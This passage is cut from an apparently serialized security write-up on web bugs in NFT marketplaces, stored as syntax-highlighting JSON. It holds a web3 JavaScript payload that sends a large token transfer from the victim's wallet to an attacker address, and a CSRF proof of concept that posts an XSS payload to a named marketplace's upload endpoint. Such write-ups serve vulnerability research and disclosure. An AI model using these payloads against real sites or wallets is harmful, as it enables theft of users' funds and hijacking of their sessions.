accounts",{"type":23,"tag":141,"props":30031,"children":30032},{"style":154},[30033],{"type":29,"value":2399},{"type":23,"tag":141,"props":30035,"children":30036},{"style":472},[30037],{"type":29,"value":2698},{"type":23,"tag":141,"props":30039,"children":30040},{"style":154},[30041],{"type":29,"value":30042},"];\n",{"type":23,"tag":141,"props":30044,"children":30045},{"class":143,"line":262},[30046,30050,30055,30059,30064],{"type":23,"tag":141,"props":30047,"children":30048},{"style":449},[30049],{"type":29,"value":30015},{"type":23,"tag":141,"props":30051,"children":30052},{"style":750},[30053],{"type":29,"value":30054}," attackerAddress",{"type":23,"tag":141,"props":30056,"children":30057},{"style":160},[30058],{"type":29,"value":1674},{"type":23,"tag":141,"props":30060,"children":30061},{"style":828},[30062],{"type":29,"value":30063}," '0x0000000000000000000000000000000000000000'",{"type":23,"tag":141,"props":30065,"children":30066},{"style":154},[30067],{"type":29,"value":1684},{"type":23,"tag":141,"props":30069,"children":30070},{"class":143,"line":271},[30071,30075,30080,30084,30089],{"type":23,"tag":141,"props":30072,"children":30073},{"style":449},[30074],{"type":29,"value":30015},{"type":23,"tag":141,"props":30076,"children":30077},{"style":750},[30078],{"type":29,"value":30079}," contractAddress",{"type":23,"tag":141,"props":30081,"children":30082},{"style":160},[30083],{"type":29,"value":1674},{"type":23,"tag":141,"props":30085,"children":30086},{"style":828},[30087],{"type":29,"value":30088}," '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3'",{"type":23,"tag":141,"props":30090,"children":30091},{"style":154},[30092],{"type":29,"value":1684},{"type":23,"tag":141,"props":30094,"children":30095},{"class":143,"line":293},[30096],{"type":23,"tag":141,"props":30097,"children":30098},{"emptyLinePlaceholder":15},[30099],{"type":29,"value":719},{"type":23,"tag":141,"props":30101,"children":30102},{"class":143,"line":801},[30103,30107,30112,30116],{"type":23,"tag":141,"props":30104,"children":30105},{"style":449},[30106],{"type":29,"value":6750},{"type":23,"tag":141,"props":30108,"children":30109},{"style":750},[30110],{"type":29,"value":30111}," tokenAbi",{"type":23,"tag":141,"props":30113,"children":30114},{"style":160},[30115],{"type":29,"value":1674},{"type":23,"tag":141,"props":30117,"children":30118},{"style":154},[30119],{"type":29,"value":24305},{"type":23,"tag":141,"props":30121,"children":30122},{"class":143,"line":810},[30123],{"type":23,"tag":141,"props":30124,"children":30125},{"style":154},[30126],{"type":29,"value":30127}," {\n",{"type":23,"tag":141,"props":30129,"children":30130},{"class":143,"line":824},[30131,30136,30140],{"type":23,"tag":141,"props":30132,"children":30133},{"style":750},[30134],{"type":29,"value":30135}," constant:",{"type":23,"tag":141,"props":30137,"children":30138},{"style":449},[30139],{"type":29,"value":7735},{"type":23,"tag":141,"props":30141,"children":30142},{"style":154},[30143],{"type":29,"value":2168},{"type":23,"tag":141,"props":30145,"children":30146},{"class":143,"line":839},[30147,30152],{"type":23,"tag":141,"props":30148,"children":30149},{"style":750},[30150],{"type":29,"value":30151}," inputs:",{"type":23,"tag":141,"props":30153,"children":30154},{"style":154},[30155],{"type":29,"value":24305},{"type":23,"tag":141,"props":30157,"children":30158},{"class":143,"line":848},[30159],{"type":23,"tag":141,"props":30160,"children":30161},{"style":154},[30162],{"type":29,"value":30163}," {\n",{"type":23,"tag":141,"props":30165,"children":30166},{"class":143,"line":2304},[30167,30172,30177],{"type":23,"tag":141,"props":30168,"children":30169},{"style":750},[30170],{"type":29,"value":30171}," name:",{"type":23,"tag":141,"props":30173,"children":30174},{"style":828},[30175],{"type":29,"value":30176}," '_to'",{"type":23,"tag":141,"props":30178,"children":30179},{"style":154},[30180],{"type":29,"value":2168},{"type":23,"tag":141,"props":30182,"children":30183},{"class":143,"line":2313},[30184,30189,30194],{"type":23,"tag":141,"props":30185,"children":30186},{"style":750},[30187],{"type":29,"value":30188}," type:",{"type":23,"tag":141,"props":30190,"children":30191},{"style":828},[30192],{"type":29,"value":30193}," 'address'",{"type":23,"tag":141,"props":30195,"children":30196},{"style":154},[30197],{"type":29,"value":2168},{"type":23,"tag":141,"props":30199,"children":30200},{"class":143,"line":2335},[30201],{"type":23,"tag":141,"props":30202,"children":30203},{"style":154},[30204],{"type":29,"value":30205}," },\n",{"type":23,"tag":141,"props":30207,"children":30208},{"class":143,"line":2343},[30209],{"type":23,"tag":141,"props":30210,"children":30211},{"style":154},[30212],{"type":29,"value":30163},{"type":23,"tag":141,"props":30214,"children":30215},{"class":143,"line":2352},[30216,30220,30225],{"type":23,"tag":141,"props":30217,"children":30218},{"style":750},[30219],{"type":29,"value":30171},{"type":23,"tag":141,"props":30221,"children":30222},{"style":828},[30223],{"type":29,"value":30224}," '_value'",{"type":23,"tag":141,"props":30226,"children":30227},{"style":154},[30228],{"type":29,"value":2168},{"type":23,"tag":141,"props":30230,"children":30231},{"class":143,"line":2421},[30232,30236,30241],{"type":23,"tag":141,"props":30233,"children":30234},{"style":750},[30235],{"type":29,"value":30188},{"type":23,"tag":141,"props":30237,"children":30238},{"style":828},[30239],{"type":29,"value":30240}," 'uint256'",{"type":23,"tag":141,"props":30242,"children":30243},{"style":154},[30244],{"type":29,"value":2168},{"type":23,"tag":141,"props":30246,"children":30247},{"class":143,"line":2429},[30248],{"type":23,"tag":141,"props":30249,"children":30250},{"style":154},[30251],{"type":29,"value":30205},{"type":23,"tag":141,"props":30253,"children":30254},{"class":143,"line":2459},[30255],{"type":23,"tag":141,"props":30256,"children":30257},{"style":154},[30258],{"type":29,"value":30259}," ],\n",{"type":23,"tag":141,"props":30261,"children":30262},{"class":143,"line":2467},[30263,30268,30273],{"type":23,"tag":141,"props":30264,"children":30265},{"style":750},[30266],{"type":29,"value":30267}," name:",{"type":23,"tag":141,"props":30269,"children":30270},{"style":828},[30271],{"type":29,"value":30272}," 'transfer'",{"type":23,"tag":141,"props":30274,"children":30275},{"style":154},[30276],{"type":29,"value":2168},{"type":23,"tag":141,"props":30278,"children":30279},{"class":143,"line":2499},[30280,30285],{"type":23,"tag":141,"props":30281,"children":30282},{"style":750},[30283],{"type":29,"value":30284}," outputs:",{"type":23,"tag":141,"props":30286,"children":30287},{"style":154},[30288],{"type":29,"value":24305},{"type":23,"tag":141,"props":30290,"children":30291},{"class":143,"line":2507},[30292],{"type":23,"tag":141,"props":30293,"children":30294},{"style":154},[30295],{"type":29,"value":30163},{"type":23,"tag":141,"props":30297,"children":30298},{"class":143,"line":2567},[30299,30303,30308],{"type":23,"tag":141,"props":30300,"children":30301},{"style":750},[30302],{"type":29,"value":30171},{"type":23,"tag":141,"props":30304,"children":30305},{"style":828},[30306],{"type":29,"value":30307}," ''",{"type":23,"tag":141,"props":30309,"children":30310},{"style":154},[30311],{"type":29,"value":2168},{"type":23,"tag":141,"props":30313,"children":30314},{"class":143,"line":7724},[30315,30319,30324],{"type":23,"tag":141,"props":30316,"children":30317},{"style":750},[30318],{"type":29,"value":30188},{"type":23,"tag":141,"props":30320,"children":30321},{"style":828},[30322],{"type":29,"value":30323}," 'bool'",{"type":23,"tag":141,"props":30325,"children":30326},{"style":154},[30327],{"type":29,"value":2168},{"type":23,"tag":141,"props":30329,"children":30330},{"class":143,"line":7742},[30331],{"type":23,"tag":141,"props":30332,"children":30333},{"style":154},[30334],{"type":29,"value":30205},{"type":23,"tag":141,"props":30336,"children":30337},{"class":143,"line":7787},[30338],{"type":23,"tag":141,"props":30339,"children":30340},{"style":154},[30341],{"type":29,"value":30259},{"type":23,"tag":141,"props":30343,"children":30344},{"class":143,"line":7893},[30345,30350,30355],{"type":23,"tag":141,"props":30346,"children":30347},{"style":750},[30348],{"type":29,"value":30349}," type:",{"type":23,"tag":141,"props":30351,"children":30352},{"style":828},[30353],{"type":29,"value":30354}," 'function'",{"type":23,"tag":141,"props":30356,"children":30357},{"style":154},[30358],{"type":29,"value":2168},{"type":23,"tag":141,"props":30360,"children":30361},{"class":143,"line":22181},[30362],{"type":23,"tag":141,"props":30363,"children":30364},{"style":154},[30365],{"type":29,"value":24057},{"type":23,"tag":141,"props":30367,"children":30368},{"class":143,"line":22216},[30369],{"type":23,"tag":141,"props":30370,"children":30371},{"style":154},[30372],{"type":29,"value":30373}," ];\n",{"type":23,"tag":141,"props":30375,"children":30376},{"class":143,"line":22224},[30377],{"type":23,"tag":141,"props":30378,"children":30379},{"emptyLinePlaceholder":15},[30380],{"type":29,"value":719},{"type":23,"tag":141,"props":30382,"children":30383},{"class":143,"line":22232},[30384,30388,30393,30397,30402,30407,30411,30416,30420,30424],{"type":23,"tag":141,"props":30385,"children":30386},{"style":449},[30387],{"type":29,"value":30015},{"type":23,"tag":141,"props":30389,"children":30390},{"style":750},[30391],{"type":29,"value":30392}," web3",{"type":23,"tag":141,"props":30394,"children":30395},{"style":160},[30396],{"type":29,"value":1674},{"type":23,"tag":141,"props":30398,"children":30399},{"style":449},[30400],{"type":29,"value":30401}," new",{"type":23,"tag":141,"props":30403,"children":30404},{"style":184},[30405],{"type":29,"value":30406}," Web3",{"type":23,"tag":141,"props":30408,"children":30409},{"style":154},[30410],{"type":29,"value":192},{"type":23,"tag":141,"props":30412,"children":30413},{"style":750},[30414],{"type":29,"value":30415},"window",{"type":23,"tag":141,"props":30417,"children":30418},{"style":154},[30419],{"type":29,"value":322},{"type":23,"tag":141,"props":30421,"children":30422},{"style":750},[30423],{"type":29,"value":29885},{"type":23,"tag":141,"props":30425,"children":30426},{"style":154},[30427],{"type":29,"value":2496},{"type":23,"tag":141,"props":30429,"children":30430},{"class":143,"line":22241},[30431],{"type":23,"tag":141,"props":30432,"children":30433},{"emptyLinePlaceholder":15},[30434],{"type":29,"value":719},{"type":23,"tag":141,"props":30436,"children":30437},{"class":143,"line":22283},[30438,30442,30447,30451,30455,30459,30463,30468,30472,30477,30481,30486,30490,30495],{"type":23,"tag":141,"props":30439,"children":30440},{"style":449},[30441],{"type":29,"value":30015},{"type":23,"tag":141,"props":30443,"children":30444},{"style":750},[30445],{"type":29,"value":30446}," tokenContract",{"type":23,"tag":141,"props":30448,"children":30449},{"style":160},[30450],{"type":29,"value":1674},{"type":23,"tag":141,"props":30452,"children":30453},{"style":449},[30454],{"type":29,"value":30401},{"type":23,"tag":141,"props":30456,"children":30457},{"style":750},[30458],{"type":29,"value":30392},{"type":23,"tag":141,"props":30460,"children":30461},{"style":154},[30462],{"type":29,"value":322},{"type":23,"tag":141,"props":30464,"children":30465},{"style":750},[30466],{"type":29,"value":30467},"eth",{"type":23,"tag":141,"props":30469,"children":30470},{"style":154},[30471],{"type":29,"value":322},{"type":23,"tag":141,"props":30473,"children":30474},{"style":184},[30475],{"type":29,"value":30476},"Contract",{"type":23,"tag":141,"props":30478,"children":30479},{"style":154},[30480],{"type":29,"value":192},{"type":23,"tag":141,"props":30482,"children":30483},{"style":750},[30484],{"type":29,"value":30485},"tokenAbi",{"type":23,"tag":141,"props":30487,"children":30488},{"style":154},[30489],{"type":29,"value":480},{"type":23,"tag":141,"props":30491,"children":30492},{"style":750},[30493],{"type":29,"value":30494},"contractAddress",{"type":23,"tag":141,"props":30496,"children":30497},{"style":154},[30498],{"type":29,"value":2496},{"type":23,"tag":141,"props":30500,"children":30501},{"class":143,"line":22316},[30502],{"type":23,"tag":141,"props":30503,"children":30504},{"emptyLinePlaceholder":15},[30505],{"type":29,"value":719},{"type":23,"tag":141,"props":30507,"children":30508},{"class":143,"line":22324},[30509,30513,30518,30522],{"type":23,"tag":141,"props":30510,"children":30511},{"style":449},[30512],{"type":29,"value":30015},{"type":23,"tag":141,"props":30514,"children":30515},{"style":750},[30516],{"type":29,"value":30517}," transactionObject",{"type":23,"tag":141,"props":30519,"children":30520},{"style":160},[30521],{"type":29,"value":1674},{"type":23,"tag":141,"props":30523,"children":30524},{"style":154},[30525],{"type":29,"value":1951},{"type":23,"tag":141,"props":30527,"children":30528},{"class":143,"line":22332},[30529,30534,30538],{"type":23,"tag":141,"props":30530,"children":30531},{"style":750},[30532],{"type":29,"value":30533}," from:",{"type":23,"tag":141,"props":30535,"children":30536},{"style":750},[30537],{"type":29,"value":30020},{"type":23,"tag":141,"props":30539,"children":30540},{"style":154},[30541],{"type":29,"value":2168},{"type":23,"tag":141,"props":30543,"children":30544},{"class":143,"line":22341},[30545,30550,30554],{"type":23,"tag":141,"props":30546,"children":30547},{"style":750},[30548],{"type":29,"value":30549}," to:",{"type":23,"tag":141,"props":30551,"children":30552},{"style":750},[30553],{"type":29,"value":30079},{"type":23,"tag":141,"props":30555,"children":30556},{"style":154},[30557],{"type":29,"value":2168},{"type":23,"tag":141,"props":30559,"children":30560},{"class":143,"line":22417},[30561,30566,30570,30574],{"type":23,"tag":141,"props":30562,"children":30563},{"style":750},[30564],{"type":29,"value":30565}," data:",{"type":23,"tag":141,"props":30567,"children":30568},{"style":750},[30569],{"type":29,"value":30446},{"type":23,"tag":141,"props":30571,"children":30572},{"style":154},[30573],{"type":29,"value":322},{"type":23,"tag":141,"props":30575,"children":30576},{"style":750},[30577],{"type":29,"value":30578},"methods\n",{"type":23,"tag":141,"props":30580,"children":30581},{"class":143,"line":22450},[30582,30587,30592,30596,30601,30605,30610,30614,30619,30623,30628,30632,30637,30641,30646],{"type":23,"tag":141,"props":30583,"children":30584},{"style":154},[30585],{"type":29,"value":30586}," .",{"type":23,"tag":141,"props":30588,"children":30589},{"style":184},[30590],{"type":29,"value":30591},"transfer",{"type":23,"tag":141,"props":30593,"children":30594},{"style":154},[30595],{"type":29,"value":192},{"type":23,"tag":141,"props":30597,"children":30598},{"style":750},[30599],{"type":29,"value":30600},"attackerAddress",{"type":23,"tag":141,"props":30602,"children":30603},{"style":154},[30604],{"type":29,"value":480},{"type":23,"tag":141,"props":30606,"children":30607},{"style":750},[30608],{"type":29,"value":30609},"web3",{"type":23,"tag":141,"props":30611,"children":30612},{"style":154},[30613],{"type":29,"value":322},{"type":23,"tag":141,"props":30615,"children":30616},{"style":750},[30617],{"type":29,"value":30618},"utils",{"type":23,"tag":141,"props":30620,"children":30621},{"style":154},[30622],{"type":29,"value":322},{"type":23,"tag":141,"props":30624,"children":30625},{"style":184},[30626],{"type":29,"value":30627},"toWei",{"type":23,"tag":141,"props":30629,"children":30630},{"style":154},[30631],{"type":29,"value":192},{"type":23,"tag":141,"props":30633,"children":30634},{"style":828},[30635],{"type":29,"value":30636},"'100000000'",{"type":23,"tag":141,"props":30638,"children":30639},{"style":154},[30640],{"type":29,"value":480},{"type":23,"tag":141,"props":30642,"children":30643},{"style":828},[30644],{"type":29,"value":30645},"'ether'",{"type":23,"tag":141,"props":30647,"children":30648},{"style":154},[30649],{"type":29,"value":498},{"type":23,"tag":141,"props":30651,"children":30652},{"class":143,"line":22458},[30653,30657,30662],{"type":23,"tag":141,"props":30654,"children":30655},{"style":154},[30656],{"type":29,"value":30586},{"type":23,"tag":141,"props":30658,"children":30659},{"style":184},[30660],{"type":29,"value":30661},"encodeABI",{"type":23,"tag":141,"props":30663,"children":30664},{"style":154},[30665],{"type":29,"value":2151},{"type":23,"tag":141,"props":30667,"children":30668},{"class":143,"line":22466},[30669],{"type":23,"tag":141,"props":30670,"children":30671},{"style":154},[30672],{"type":29,"value":7597},{"type":23,"tag":141,"props":30674,"children":30675},{"class":143,"line":22503},[30676],{"type":23,"tag":141,"props":30677,"children":30678},{"emptyLinePlaceholder":15},[30679],{"type":29,"value":719},{"type":23,"tag":141,"props":30681,"children":30682},{"class":143,"line":22516},[30683,30688,30692,30696,30700,30705,30709,30714],{"type":23,"tag":141,"props":30684,"children":30685},{"style":750},[30686],{"type":29,"value":30687}," web3",{"type":23,"tag":141,"props":30689,"children":30690},{"style":154},[30691],{"type":29,"value":322},{"type":23,"tag":141,"props":30693,"children":30694},{"style":750},[30695],{"type":29,"value":30467},{"type":23,"tag":141,"props":30697,"children":30698},{"style":154},[30699],{"type":29,"value":322},{"type":23,"tag":141,"props":30701,"children":30702},{"style":184},[30703],{"type":29,"value":30704},"sendTransaction",{"type":23,"tag":141,"props":30706,"children":30707},{"style":154},[30708],{"type":29,"value":192},{"type":23,"tag":141,"props":30710,"children":30711},{"style":750},[30712],{"type":29,"value":30713},"transactionObject",{"type":23,"tag":141,"props":30715,"children":30716},{"style":154},[30717],{"type":29,"value":2496},{"type":23,"tag":141,"props":30719,"children":30720},{"class":143,"line":22529},[30721],{"type":23,"tag":141,"props":30722,"children":30723},{"style":154},[30724],{"type":29,"value":30725}," });\n",{"type":23,"tag":141,"props":30727,"children":30728},{"class":143,"line":22542},[30729],{"type":23,"tag":141,"props":30730,"children":30731},{"style":154},[30732],{"type":29,"value":854},{"type":23,"tag":141,"props":30734,"children":30735},{"class":143,"line":22596},[30736],{"type":23,"tag":141,"props":30737,"children":30738},{"style":154},[30739],{"type":29,"value":2573},{"type":23,"tag":141,"props":30741,"children":30742},{"class":143,"line":22605},[30743],{"type":23,"tag":141,"props":30744,"children":30745},{"emptyLinePlaceholder":15},[30746],{"type":29,"value":719},{"type":23,"tag":141,"props":30748,"children":30750},{"class":143,"line":30749},51,[30751,30755,30759,30764],{"type":23,"tag":141,"props":30752,"children":30753},{"style":449},[30754],{"type":29,"value":18155},{"type":23,"tag":141,"props":30756,"children":30757},{"style":154},[30758],{"type":29,"value":192},{"type":23,"tag":141,"props":30760,"children":30761},{"style":828},[30762],{"type":29,"value":30763},"'https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js'",{"type":23,"tag":141,"props":30765,"children":30766},{"style":154},[30767],{"type":29,"value":2496},{"type":23,"tag":141,"props":30769,"children":30771},{"class":143,"line":30770},52,[30772,30777,30781,30785,30789,30794],{"type":23,"tag":141,"props":30773,"children":30774},{"style":184},[30775],{"type":29,"value":30776},"setTimeout",{"type":23,"tag":141,"props":30778,"children":30779},{"style":154},[30780],{"type":29,"value":192},{"type":23,"tag":141,"props":30782,"children":30783},{"style":750},[30784],{"type":29,"value":29961},{"type":23,"tag":141,"props":30786,"children":30787},{"style":154},[30788],{"type":29,"value":480},{"type":23,"tag":141,"props":30790,"children":30791},{"style":472},[30792],{"type":29,"value":30793},"1e3",{"type":23,"tag":141,"props":30795,"children":30796},{"style":154},[30797],{"type":29,"value":2496},{"type":23,"tag":32,"props":30799,"children":30800},{},[30801,30806],{"type":23,"tag":3998,"props":30802,"children":30803},{},[30804],{"type":29,"value":30805},"CSRF & XSS",{"type":29,"value":30807},"\nWe continued our investigation of potential XSS vulnerabilities by exploring various sinks, such as common field errors and the handling of file uploads in different marketplaces.",{"type":23,"tag":32,"props":30809,"children":30810},{},[30811,30813,30818],{"type":29,"value":30812},"Our attention was drawn to ",{"type":23,"tag":55,"props":30814,"children":30816},{"href":29748,"rel":30815},[59],[30817],{"type":29,"value":29752},{"type":29,"value":30819},", an online platform that allows users to upload images. During the image uploading process, we noticed that certain parameters were being sent in the request, as shown below:",{"type":23,"tag":32,"props":30821,"children":30822},{},[30823],{"type":23,"tag":2591,"props":30824,"children":30826},{"alt":7,"src":30825},"/posts/web2-bug-repellant-instructions/csrf.png",[],{"type":23,"tag":32,"props":30828,"children":30829},{},[30830],{"type":29,"value":30831},"and here there is the code:",{"type":23,"tag":131,"props":30833,"children":30835},{"className":29831,"code":30834,"language":29833,"meta":7,"style":7},"\u003Chtml>\n \u003Cbody>\n \u003Cscript>history.pushState('', '', '/')\u003C/script>\n \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq<img/src=x onerror=alert(document.domain)>","to":"profile-assets","type":"icon"}\" />\n \u003Cinput type=\"submit\" value=\"Submit request\" />\n \u003C/form>\n \u003C/body>\n\n \u003Cscript>\n\n (async ()=>{\n const blob = await (await fetch(\"/sapo.png\")).blob()\n\n let f = new File([blob], 'sapo.png', {type: 'image/png'})\n const dataTransfer = new DataTransfer();\n dataTransfer.items.add(f);\n\n file123.files = dataTransfer.files;\n })()\n\n \u003C/script>\n\u003C/html>\n",[30836],{"type":23,"tag":38,"props":30837,"children":30838},{"__ignoreMap":7},[30839,30856,30873,30907,30993,31050,31249,31290,31306,31322,31329,31344,31351,31363,31422,31429,31492,31521,31559,31566,31604,31617,31624,31639],{"type":23,"tag":141,"props":30840,"children":30841},{"class":143,"line":144},[30842,30847,30852],{"type":23,"tag":141,"props":30843,"children":30845},{"style":30844},"--shiki-default:#808080",[30846],{"type":29,"value":4480},{"type":23,"tag":141,"props":30848,"children":30849},{"style":449},[30850],{"type":29,"value":30851},"html",{"type":23,"tag":141,"props":30853,"children":30854},{"style":30844},[30855],{"type":29,"value":4666},{"type":23,"tag":141,"props":30857,"children":30858},{"class":143,"line":180},[30859,30864,30869],{"type":23,"tag":141,"props":30860,"children":30861},{"style":30844},[30862],{"type":29,"value":30863}," \u003C",{"type":23,"tag":141,"props":30865,"children":30866},{"style":449},[30867],{"type":29,"value":30868},"body",{"type":23,"tag":141,"props":30870,"children":30871},{"style":30844},[30872],{"type":29,"value":4666},{"type":23,"tag":141,"props":30874,"children":30875},{"class":143,"line":205},[30876,30880,30885,30889,30894,30899,30903],{"type":23,"tag":141,"props":30877,"children":30878},{"style":30844},[30879],{"type":29,"value":30863},{"type":23,"tag":141,"props":30881,"children":30882},{"style":449},[30883],{"type":29,"value":30884},"script",{"type":23,"tag":141,"props":30886,"children":30887},{"style":30844},[30888],{"type":29,"value":9142},{"type":23,"tag":141,"props":30890,"children":30891},{"style":154},[30892],{"type":29,"value":30893},"history.pushState('', '', '/')",{"type":23,"tag":141,"props":30895,"children":30896},{"style":30844},[30897],{"type":29,"value":30898},"\u003C/",{"type":23,"tag":141,"props":30900,"children":30901},{"style":449},[30902],{"type":29,"value":30884},{"type":23,"tag":141,"props":30904,"children":30905},{"style":30844},[30906],{"type":29,"value":4666},{"type":23,"tag":141,"props":30908,"children":30909},{"class":143,"line":218},[30910,30915,30920,30925,30929,30934,30939,30943,30948,30952,30956,30961,30966,30970,30975,30980,30984,30989],{"type":23,"tag":141,"props":30911,"children":30912},{"style":30844},[30913],{"type":29,"value":30914}," \u003C",{"type":23,"tag":141,"props":30916,"children":30917},{"style":449},[30918],{"type":29,"value":30919},"form",{"type":23,"tag":141,"props":30921,"children":30922},{"style":750},[30923],{"type":29,"value":30924}," id",{"type":23,"tag":141,"props":30926,"children":30927},{"style":160},[30928],{"type":29,"value":1377},{"type":23,"tag":141,"props":30930,"children":30931},{"style":828},[30932],{"type":29,"value":30933},"\"form123\"",{"type":23,"tag":141,"props":30935,"children":30936},{"style":750},[30937],{"type":29,"value":30938}," action",{"type":23,"tag":141,"props":30940,"children":30941},{"style":160},[30942],{"type":29,"value":1377},{"type":23,"tag":141,"props":30944,"children":30945},{"style":828},[30946],{"type":29,"value":30947},"\"https://stashh.io/upload_asset\"",{"type":23,"tag":141,"props":30949,"children":30950},{"style":750},[30951],{"type":29,"value":15786},{"type":23,"tag":141,"props":30953,"children":30954},{"style":160},[30955],{"type":29,"value":1377},{"type":23,"tag":141,"props":30957,"children":30958},{"style":828},[30959],{"type":29,"value":30960},"\"POST\"",{"type":23,"tag":141,"props":30962,"children":30963},{"style":750},[30964],{"type":29,"value":30965}," enctype",{"type":23,"tag":141,"props":30967,"children":30968},{"style":160},[30969],{"type":29,"value":1377},{"type":23,"tag":141,"props":30971,"children":30972},{"style":828},[30973],{"type":29,"value":30974},"\"multipart/form-data\"",{"type":23,"tag":141,"props":30976,"children":30977},{"style":750},[30978],{"type":29,"value":30979}," value",{"type":23,"tag":141,"props":30981,"children":30982},{"style":160},[30983],{"type":29,"value":1377},{"type":23,"tag":141,"props":30985,"children":30986},{"style":828},[30987],{"type":29,"value":30988},"\"asd\"",{"type":23,"tag":141,"props":30990,"children":30991},{"style":30844},[30992],{"type":29,"value":4666},{"type":23,"tag":141,"props":30994,"children":30995},{"class":143,"line":227},[30996,31001,31005,31010,31014,31019,31024,31028,31033,31037,31041,31046],{"type":23,"tag":141,"props":30997,"children":30998},{"style":30844},[30999],{"type":29,"value":31000}," \u003C",{"type":23,"tag":141,"props":31002,"children":31003},{"style":449},[31004],{"type":29,"value":7042},{"type":23,"tag":141,"props":31006,"children":31007},{"style":750},[31008],{"type":29,"value":31009}," type",{"type":23,"tag":141,"props":31011,"children":31012},{"style":160},[31013],{"type":29,"value":1377},{"type":23,"tag":141,"props":31015,"children":31016},{"style":828},[31017],{"type":29,"value":31018},"\"file\"",{"type":23,"tag":141,"props":31020,"children":31021},{"style":750},[31022],{"type":29,"value":31023}," name",{"type":23,"tag":141,"props":31025,"children":31026},{"style":160},[31027],{"type":29,"value":1377},{"type":23,"tag":141,"props":31029,"children":31030},{"style":828},[31031],{"type":29,"value":31032},"\"data\"",{"type":23,"tag":141,"props":31034,"children":31035},{"style":750},[31036],{"type":29,"value":30924},{"type":23,"tag":141,"props":31038,"children":31039},{"style":160},[31040],{"type":29,"value":1377},{"type":23,"tag":141,"props":31042,"children":31043},{"style":828},[31044],{"type":29,"value":31045},"\"file123\"",{"type":23,"tag":141,"props":31047,"children":31048},{"style":30844},[31049],{"type":29,"value":4666},{"type":23,"tag":141,"props":31051,"children":31052},{"class":143,"line":241},[31053,31058,31062,31066,31070,31075,31079,31083,31088,31092,31096,31100,31105,31110,31115,31120,31125,31129,31134,31139,31144,31148,31153,31158,31162,31167,31172,31177,31182,31187,31192,31197,31201,31206,31211,31216,31221,31226,31230,31235,31240,31244],{"type":23,"tag":141,"props":31054,"children":31055},{"style":30844},[31056],{"type":29,"value":31057}," \u003C",{"type":23,"tag":141,"props":31059,"children":31060},{"style":449},[31061],{"type":29,"value":7042},{"type":23,"tag":141,"props":31063,"children":31064},{"style":750},[31065],{"type":29,"value":31009},{"type":23,"tag":141,"props":31067,"children":31068},{"style":160},[31069],{"type":29,"value":1377},{"type":23,"tag":141,"props":31071,"children":31072},{"style":828},[31073],{"type":29,"value":31074},"\"hidden\"",{"type":23,"tag":141,"props":31076,"children":31077},{"style":750},[31078],{"type":29,"value":31023},{"type":23,"tag":141,"props":31080,"children":31081},{"style":160},[31082],{"type":29,"value":1377},{"type":23,"tag":141,"props":31084,"children":31085},{"style":828},[31086],{"type":29,"value":31087},"\"config\"",{"type":23,"tag":141,"props":31089,"children":31090},{"style":750},[31091],{"type":29,"value":30979},{"type":23,"tag":141,"props":31093,"children":31094},{"style":160},[31095],{"type":29,"value":1377},{"type":23,"tag":141,"props":31097,"children":31098},{"style":828},[31099],{"type":29,"value":18731},{"type":23,"tag":141,"props":31101,"children":31102},{"style":449},[31103],{"type":29,"value":31104},"{"",{"type":23,"tag":141,"props":31106,"children":31107},{"style":828},[31108],{"type":29,"value":31109},"address",{"type":23,"tag":141,"props":31111,"children":31112},{"style":449},[31113],{"type":29,"value":31114},"":"",{"type":23,"tag":141,"props":31116,"children":31117},{"style":828},[31118],{"type":29,"value":31119},"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq",{"type":23,"tag":141,"props":31121,"children":31122},{"style":449},[31123],{"type":29,"value":31124},"<",{"type":23,"tag":141,"props":31126,"children":31127},{"style":828},[31128],{"type":29,"value":2591},{"type":23,"tag":141,"props":31130,"children":31131},{"style":449},[31132],{"type":29,"value":31133},"/",{"type":23,"tag":141,"props":31135,"children":31136},{"style":828},[31137],{"type":29,"value":31138},"src",{"type":23,"tag":141,"props":31140,"children":31141},{"style":449},[31142],{"type":29,"value":31143},"=",{"type":23,"tag":141,"props":31145,"children":31146},{"style":828},[31147],{"type":29,"value":17947},{"type":23,"tag":141,"props":31149,"children":31150},{"style":449},[31151],{"type":29,"value":31152}," ",{"type":23,"tag":141,"props":31154,"children":31155},{"style":828},[31156],{"type":29,"value":31157},"onerror",{"type":23,"tag":141,"props":31159,"children":31160},{"style":449},[31161],{"type":29,"value":31143},{"type":23,"tag":141,"props":31163,"children":31164},{"style":828},[31165],{"type":29,"value":31166},"alert",{"type":23,"tag":141,"props":31168,"children":31169},{"style":449},[31170],{"type":29,"value":31171},"(",{"type":23,"tag":141,"props":31173,"children":31174},{"style":828},[31175],{"type":29,"value":31176},"document",{"type":23,"tag":141,"props":31178,"children":31179},{"style":449},[31180],{"type":29,"value":31181},".",{"type":23,"tag":141,"props":31183,"children":31184},{"style":828},[31185],{"type":29,"value":31186},"domain",{"type":23,"tag":141,"props":31188,"children":31189},{"style":449},[31190],{"type":29,"value":31191},")>","",{"type":23,"tag":141,"props":31193,"children":31194},{"style":828},[31195],{"type":29,"value":31196},"to",{"type":23,"tag":141,"props":31198,"children":31199},{"style":449},[31200],{"type":29,"value":31114},{"type":23,"tag":141,"props":31202,"children":31203},{"style":828},[31204],{"type":29,"value":31205},"profile",{"type":23,"tag":141,"props":31207,"children":31208},{"style":449},[31209],{"type":29,"value":31210},"-",{"type":23,"tag":141,"props":31212,"children":31213},{"style":828},[31214],{"type":29,"value":31215},"assets",{"type":23,"tag":141,"props":31217,"children":31218},{"style":449},[31219],{"type":29,"value":31220},"","",{"type":23,"tag":141,"props":31222,"children":31223},{"style":828},[31224],{"type":29,"value":31225},"type",{"type":23,"tag":141,"props":31227,"children":31228},{"style":449},[31229],{"type":29,"value":31114},{"type":23,"tag":141,"props":31231,"children":31232},{"style":828},[31233],{"type":29,"value":31234},"icon",{"type":23,"tag":141,"props":31236,"children":31237},{"style":449},[31238],{"type":29,"value":31239},""}",{"type":23,"tag":141,"props":31241,"children":31242},{"style":828},[31243],{"type":29,"value":18731},{"type":23,"tag":141,"props":31245,"children":31246},{"style":30844},[31247],{"type":29,"value":31248}," 